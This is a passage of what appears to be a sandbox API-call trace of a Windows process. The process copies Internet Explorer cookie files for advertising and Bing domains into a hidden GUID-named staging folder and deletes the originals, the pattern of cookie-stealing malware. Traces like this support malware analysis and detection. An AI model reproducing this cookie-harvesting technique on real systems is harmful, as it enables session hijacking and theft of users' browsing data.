lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.439] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.439] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.439] StrChrW (lpStart="aetadzjz@adtech[2].txt", wMatch=0x94e005c) returned 0x0 [0114.439] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adtech[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adtech[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adtech[2].txt" [0114.439] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adtech[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adtech[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adtech[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adtech[2].txt"), bFailIfExists=0) returned 1 [0114.443] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.443] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adtech[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adtech[2].txt")) returned 1 [0114.443] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92510 | out: hHeap=0x9770000) returned 1 [0114.443] lstrlenW (lpString="Low\\aetadzjz@advertising[1].txt") returned 31 [0114.443] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.443] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.444] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfc) returned 0x9a96580 [0114.444] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.444] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.444] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.444] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.444] StrChrW (lpStart="Low\\aetadzjz@advertising[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@advertising[1].txt" [0114.444] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.444] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.444] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.444] StrChrW (lpStart="aetadzjz@advertising[1].txt", wMatch=0x94e005c) returned 0x0 [0114.444] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@advertising[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@advertising[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@advertising[1].txt" [0114.444] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@advertising[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@advertising[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@advertising[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@advertising[1].txt"), bFailIfExists=0) returned 1 [0114.447] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0114.447] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@advertising[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@advertising[1].txt")) returned 1 [0114.449] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92620 | out: hHeap=0x9770000) returned 1 [0114.449] lstrlenW (lpString="Low\\aetadzjz@angsrvr[2].txt") returned 27 [0114.449] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.449] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.449] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a6e990 [0114.449] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.449] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.449] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.449] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.449] StrChrW (lpStart="Low\\aetadzjz@angsrvr[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@angsrvr[2].txt" [0114.449] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.449] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.449] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.449] StrChrW (lpStart="aetadzjz@angsrvr[2].txt", wMatch=0x94e005c) returned 0x0 [0114.449] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@angsrvr[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@angsrvr[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@angsrvr[2].txt" [0114.449] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@angsrvr[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@angsrvr[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@angsrvr[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@angsrvr[2].txt"), bFailIfExists=0) returned 1 [0114.514] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.514] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@angsrvr[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@angsrvr[2].txt")) returned 1 [0114.515] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92740 | out: hHeap=0x9770000) returned 1 [0114.515] lstrlenW (lpString="Low\\aetadzjz@api.bing[2].txt") returned 28 [0114.515] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.515] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.515] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf6) returned 0x9a6e990 [0114.515] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.515] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.515] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.515] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.515] StrChrW (lpStart="Low\\aetadzjz@api.bing[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@api.bing[2].txt" [0114.515] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.515] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.515] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.515] StrChrW (lpStart="aetadzjz@api.bing[2].txt", wMatch=0x94e005c) returned 0x0 [0114.515] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@api.bing[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@api.bing[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@api.bing[2].txt" [0114.515] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@api.bing[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@api.bing[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@api.bing[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@api.bing[2].txt"), bFailIfExists=0) returned 1 [0114.519] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.519] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@api.bing[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@api.bing[2].txt")) returned 1 [0114.520] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92860 | out: hHeap=0x9770000) returned 1 [0114.520] lstrlenW (lpString="Low\\aetadzjz@at.atwola[2].txt") returned 29 [0114.520] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.520] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.520] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a6e990 [0114.520] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.520] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.520] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.520] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.520] StrChrW (lpStart="Low\\aetadzjz@at.atwola[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@at.atwola[2].txt" [0114.520] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.520] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.520] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.520] StrChrW (lpStart="aetadzjz@at.atwola[2].txt", wMatch=0x94e005c) returned 0x0 [0114.520] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@at.atwola[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@at.atwola[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@at.atwola[2].txt" [0114.520] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@at.atwola[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@at.atwola[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@at.atwola[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@at.atwola[2].txt"), bFailIfExists=0) returned 1 [0114.523] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.524] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@at.atwola[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@at.atwola[2].txt")) returned 1 [0114.524] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92980 | out: hHeap=0x9770000) returned 1 [0114.524] lstrlenW (lpString="Low\\aetadzjz@bidswitch[1].txt") returned 29 [0114.524] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.524] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.524] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a6e990 [0114.524] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.524] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.525] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.525] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.525] StrChrW (lpStart="Low\\aetadzjz@bidswitch[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@bidswitch[1].txt" [0114.525] lstrcatW (in: 